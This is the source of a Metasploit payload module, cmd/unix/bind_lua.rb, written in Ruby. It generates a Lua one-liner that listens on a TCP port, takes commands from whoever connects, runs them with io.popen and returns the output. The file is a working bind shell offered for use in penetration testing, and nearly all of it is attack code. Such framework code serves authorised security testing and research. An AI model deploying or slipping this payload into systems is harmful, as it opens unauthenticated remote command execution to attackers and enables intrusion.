metasploit-framework/modules/payloads/singles/cmd/unix/bind_lua.rb

58 lines
1.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 218
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind TCP (via Lua)',
'Description' => 'Listen for a connection and spawn a command shell via Lua',
'Author' =>
[
'xistence <xistence[at]0x90.nl>',
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'lua',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_advanced_options(
[
OptString.new('LuaPath', [true, 'The path to the Lua executable', 'lua'])
]
)
end
#
# Constructs the payload
#
def generate(_opts = {})
vprint_good(command_string)
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
"#{datastore['LuaPath']} -e \"local s=require('socket');local s=assert(s.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""
end
end